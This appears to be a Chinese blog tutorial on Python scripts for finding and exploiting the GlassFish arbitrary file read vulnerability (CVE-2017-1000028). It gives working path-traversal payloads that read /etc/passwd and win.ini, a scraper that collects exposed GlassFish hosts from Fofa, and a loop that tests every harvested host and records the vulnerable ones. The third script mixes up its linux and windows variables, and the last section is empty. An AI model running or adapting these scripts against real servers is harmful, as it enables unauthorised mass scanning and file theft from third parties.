Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)

简介: Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)

目录:
Python 开发学习的意义:

测试漏洞是否存在的步骤:

(1)应用服务器 GlassFish 任意文件读取 漏洞.

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028))

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028))

(4)漏洞的利用.

Python 开发学习的意义:
(1)学习相关安全工具原理.
(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.
(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

测试漏洞是否存在的步骤:
(1)应用服务器 GlassFish 任意文件读取 漏洞.

测试应用服务器glassfish任意文件读取漏洞.

import requests #调用requests模块

url="输入IP地址/域名" #下面这个二个是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #检测linux系统的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #检测windows系统
data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
if data_windows==200 or data_linux==200: #200说明可以请求这个数据.则存在这个漏洞.
print("漏洞存在")
else:
print("漏洞不存在")
效果图:

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028))
import base64
import requests
from lxml import etree
import time

(1)获取到可能存在漏洞的地址信息-借助Fofa进行获取目标.

(2)批量请求地址信息进行判断是否存在-单线程和多线程

search_data='"glassfish" && port="4848"' #这个是搜索的内容.
headers={ #要登录账号的Cookie.
'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #请求20个.
}
for yeshu in range(1,11): #搜索前10页.
url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #这个是链接的前面.
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #对数据进行加密.
urls=url+search_data_bs
print('正在提取第'+str(yeshu)+'页') #打印正在提取第的页数.
try: #请求异常也执行.
result=requests.get(urls,headers=headers,timeout=1).content #requests.get请求url,请求的时候用这个headers=headers头(就是加入Cookie请求),请求延迟 timeout=1,content将结果打印出来.

    #print(result.decode('utf-8'))               #decode是编码.
    soup=etree.HTML(result)                     #把结果进行提取.(调用HTML类对HTML文本进行初始化,成功构造XPath解析对象,同时可以自动修正HMTL文本)
    ip_data=soup.xpath('//a[@target="_blank"]/@href')          #也就是爬虫自己要的数据 ,提取a标签,后面为@target="_blank"的href值也就是IP地址.
    #print(ip_data)
    ipdata='\n'.join(ip_data)               #.join(): 连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
    print(ip_data)
    with open(r'ip.txt','a+') as f:         #打开一个文件(ip.txt),f是定义的名.
        f.write(ipdata+'\n')                #将ipdata的数据写进去,然后换行.
        f.close()                           #关闭.
except Exception as e:
    pass
    #执行后文件下面就会生成一个ip.txt文件.

效果图:

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028))
import requests
import time

payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

for ip in open('ip.txt'): #打开ip.txt文件
ip=ip.replace('\n','') #替换换行符 为空.
windows_url=ip+payload_windows #请求windows
linux_url=ip+payload_linux #请求linux

#print(windows_url)
#print(linux_url)
try:
    print(ip)
    result_code_linux=requests.get(windows_url).status_code                #请求linux
    result_code_windows=requests.get(linux_url).status_code              #请求windows
    print("chrck->" +ip)            #打印在检测哪一个IP地址.
    if result_code_linux==200 or result_code_windows==200:
        with open(r'result.txt','a+') as f:           #写入result.txt文件.
            f.write(ip)                 #如果有漏洞就写入ip.

    time.sleep(5)
except Exception as e:
    pass

效果图:

(4)漏洞的利用.

学习链接:2021小迪渗透测试/网络安全工程师全套(从入门到就业)_哔哩哔哩_bilibili

文章知识点与官方知识档案匹配,可进一步学习相关知识
Python入门技能树首页概览442099 人正在系统学习中
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_54977781/article/details/124834139

目录
相关文章
|
2月前
|
安全 测试技术 网络安全
如何在Python Web开发中进行安全测试?
如何在Python Web开发中进行安全测试?
|
2月前
|
安全 关系型数据库 测试技术
学习Python Web开发的安全测试需要具备哪些知识?
学习Python Web开发的安全测试需要具备哪些知识?
38 4
|
3月前
|
Web App开发 前端开发 JavaScript
探索Python科学计算的边界:利用Selenium进行Web应用性能测试与优化
【10月更文挑战第6天】随着互联网技术的发展,Web应用程序已经成为人们日常生活和工作中不可或缺的一部分。这些应用不仅需要提供丰富的功能,还必须具备良好的性能表现以保证用户体验。性能测试是确保Web应用能够快速响应用户请求并处理大量并发访问的关键步骤之一。本文将探讨如何使用Python结合Selenium来进行Web应用的性能测试,并通过实际代码示例展示如何识别瓶颈及优化应用。
161 5
|
3月前
|
测试技术 持续交付 Apache
Python性能测试新风尚:JMeter遇上Locust,性能分析不再难🧐
【10月更文挑战第1天】Python性能测试新风尚:JMeter遇上Locust,性能分析不再难🧐
177 3
|
15天前
|
IDE 测试技术 开发工具
10个必备Python调试技巧:从pdb到单元测试的开发效率提升指南
在Python开发中,调试是提升效率的关键技能。本文总结了10个实用的调试方法,涵盖内置调试器pdb、breakpoint()函数、断言机制、logging模块、列表推导式优化、IPython调试、警告机制、IDE调试工具、inspect模块和单元测试框架的应用。通过这些技巧,开发者可以更高效地定位和解决问题,提高代码质量。
123 8
10个必备Python调试技巧:从pdb到单元测试的开发效率提升指南
|
2月前
|
Java 测试技术 持续交付
【入门思路】基于Python+Unittest+Appium+Excel+BeautifulReport的App/移动端UI自动化测试框架搭建思路
本文重点讲解如何搭建App自动化测试框架的思路,而非完整源码。主要内容包括实现目的、框架设计、环境依赖和框架的主要组成部分。适用于初学者,旨在帮助其快速掌握App自动化测试的基本技能。文中详细介绍了从需求分析到技术栈选择,再到具体模块的封装与实现,包括登录、截图、日志、测试报告和邮件服务等。同时提供了运行效果的展示,便于理解和实践。
128 4
【入门思路】基于Python+Unittest+Appium+Excel+BeautifulReport的App/移动端UI自动化测试框架搭建思路
|
1月前
|
敏捷开发 测试技术 持续交付
自动化测试之美:从零开始搭建你的Python测试框架
在软件开发的马拉松赛道上,自动化测试是那个能让你保持节奏、避免跌宕起伏的神奇小助手。本文将带你走进自动化测试的世界,用Python这把钥匙,解锁高效、可靠的测试框架之门。你将学会如何步步为营,构建属于自己的测试庇护所,让代码质量成为晨跑时清新的空气,而不是雾霾中的忧虑。让我们一起摆脱手动测试的繁琐枷锁,拥抱自动化带来的自由吧!
|
2月前
|
监控 安全 测试技术
如何在实际项目中应用Python Web开发的安全测试知识?
如何在实际项目中应用Python Web开发的安全测试知识?
36 4
|
2月前
|
Python
二分查找变种大赏!Python 中那些让你效率翻倍的搜索绝技!
二分查找是一种高效的搜索算法,适用于有序数组。其基本原理是通过不断比较中间元素来缩小搜索范围,从而快速找到目标值。常见的变种包括查找第一个等于目标值的元素、最后一个等于目标值的元素、第一个大于等于目标值的元素等。这些变种在实际应用中能够显著提高搜索效率,适用于各种复杂场景。
43 9
|
2月前
|
算法 数据处理 开发者
超越传统:Python二分查找的变种策略,让搜索效率再上新台阶!
本文介绍了二分查找及其几种Python实现的变种策略,包括经典二分查找、查找第一个等于给定值的元素、查找最后一个等于给定值的元素以及旋转有序数组的搜索。通过调整搜索条件和边界处理,这些变种策略能够适应更复杂的搜索场景,提升搜索效率和应用灵活性。
39 5